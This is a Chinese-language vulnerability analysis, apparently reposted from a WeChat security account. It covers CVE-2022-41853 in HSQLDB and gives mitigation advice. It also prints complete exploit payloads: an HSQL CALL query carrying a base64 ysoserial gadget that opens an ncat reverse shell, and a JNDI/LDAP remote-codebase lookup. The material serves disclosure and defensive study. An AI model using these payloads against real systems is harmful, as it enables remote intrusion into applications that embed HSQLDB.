那些在 hsqldb(HyperSQL 数据库)中使用 java.sql.Statement 或 java.sql.PreparedStatement 来处理不受信任的输入的人可能容易受到远程代码执行攻击。默认情况下,允许调用类路径中任何 Java 类的任何静态方法,从而导致代码执行。可以通过更新到 2.7.1 或将系统属性“hsqldb.method_class_names”设置为允许调用的类来防止此问题。例如,可以使用 System.setProperty(“hsqldb.method_class_names”, “abc”) 或 Java 参数 -Dhsqldb.method_class_names=”abc”。从版本 2.7.1 开始,默认情况下,除 java.lang.Math 中的类之外的所有类都不可访问,并且需要手动启用。
披露:
可以在此处找到此漏洞的最初披露信息。
原创发现者
OSS-Fuzz 团队
https://github.com/google/oss-fuzz
概念证明:
早在 2021 年,我正在阅读 Mikhail Klyuchnikov 撰写的博文“F5 Big-IP 中的远程代码执行”,了解如何使用路径规范化攻击 + HSQL“CALL”查询来调用任意 Java 静态方法以获得 RCE 。
当时,我正在报告和研究 Apache SOLR 中的漏洞,我记得他们的JDBC Stream 示例使用 HSQL,并开始设置测试环境。
注意:不幸的是,此漏洞不会影响默认的 Apache Solr 服务器,因为 HSQL JAR 需要专门放置在文件夹“./server/solr-webapp/webapp/WEB-INF/lib/”中,以便驱动程序被Stream JDBC 组件可访问。
通过 Java 反序列化进行 RCE
因为 F5 中的 RCE 使用位于“tmui.jar”(特定于 F5 应用程序的 JAR)中的“com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext”函数,所以我想提出一个应用程序独立的负载,我开始研究如何链接常用的 JAR(例如Apache Commons Collections、Apache Log4J)以便调用静态函数并获取 RCE。
由于ysoserial的 CommonsCollections* 小工具是我首先想到的,因此我沿着 Java 反序列化的路线前进,得到了以下结果:
-
调用
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true')
以启用不安全的反序列化(当您可以完全删除防护措施时为什么要绕过:))) -
使用
public public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData)
作为我们的输入的接收器来到达ObjectInputStream(x).readObject()
函数 -
使用函数
public public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded)
或public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s)
将我们编码的 ysoserial 有效负载字符串转换为字节数组,该数组将由deserialize(byte[] objectData)
完整的 HSQL 负载具有以下形式:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
注意:在这种情况下,ysoserial 有效负载的类型为 CommonsCollection6,并将执行ncat -e /bin/bash 127.1 4444反向 shell 命令。
注 2:独立的 HSQLDB.jar 不易受到此有效负载的攻击,因为它不包含 Apache Commons Collections JAR。当 HSQL 包含在 Web 应用程序(例如 SOLR、Liferay 等)中时,此漏洞(大多数情况下)会起作用。
更多细节和利用过程可以在这个PDF中找到。
通过 LDAP 或 RMI 进行远程代码库攻击的 RCE
在 2023 年阅读这个主题时,我偶然发现了iSafeBlue 的这篇精彩演示文稿“探索 JNDI 攻击”,该演示文稿用于
java.lang.System.setProperty设置com.sun.jndi.ldap.object.trustURLCodebase或com.sun.jndi.rmi.object.trustURLCodebase为 true,然后执行 LDAP/RMI 查找,以便成功执行 Java 远程代码库攻击。
HSQL 负载示例:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):CVE-2022-41853 分析:通过 Java 反序列化和远程代码库攻击使用静态函数获取 RCE